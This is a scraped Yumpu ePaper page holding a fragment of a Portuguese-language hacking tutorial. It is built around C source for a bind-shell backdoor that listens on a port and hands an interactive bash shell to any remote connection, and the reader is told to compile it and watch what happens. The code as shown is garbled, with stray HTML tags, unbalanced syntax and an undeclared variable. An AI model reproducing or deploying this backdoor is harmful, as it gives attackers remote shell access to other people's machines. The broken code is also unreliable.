01.01.2013 Views

Liber 000 - Astrum Argentum

Liber 000 - Astrum Argentum

Liber 000 - Astrum Argentum

SHOW MORE
SHOW LESS

You also want an ePaper? Increase the reach of your titles

YUMPU automatically turns print PDFs into web optimized ePapers that Google loves.

int nsocket, newsocket;<br />

struct sockaddr_in local;<br />

struct sockaddr_in remote;<br />

int tam;<br />

if (fork()==0)<br />

{<br />

bzero(&local, sizeof(local));<br />

local.sin_family = AF_INET;<br />

local.sin_port = htons(PORTA_BACK);<br />

local.sin_addr.s_addr = INADDR_ANY;<br />

bzero(&(local.sin_zero), 8);<br />

nsocket=socket(AF_INET, SOCK_STREAM, 0);<br />

bind(nsocket, (struct sockaddr *)&local, sizeof(struct sockaddr);<br />

listen(nsocket, CONEXOES);<br />

tam = sizeof (struct sockaddr_in);<br />

while(1)<br />

if((newsocket = accept(nsocket, (struct sockaddr *)&remote,&tam))==1)<br />

(perror(“accept”);<br />

exit(1);<br />

}<br />

if(!fork())<br />

{<br />

close(0);<br />

close(1);<br />

close(2);<br />

dup2(newsocket, 0);<br />

dup2(newsocket, 1);<br />

dup2(newsocket, 2);<br />

execl("/bin/bash","bash","-i", (char *)0);<br />

close(Novosocket);<br />

exit(0);<br />

}<br />

}<br />

return(0);<br />

}<br />

Este backdoor é um clássico apenas para vermos a funcionalidade do<br />

cliente/servidor. Compile e veja o que acontece.<br />

Mais duas funções... a Send() e a Recv()<br />

Estas duas funções fecham nosso ciclo. A função send() envia mensagens<br />

e a recv() recebe uma mensagem. Com isto podemos montar um cliente e<br />

um servidor. A declaração do send() é a seguinte :<br />

39

Hooray! Your file is uploaded and ready to be published.

Saved successfully!

Ooh no, something went wrong!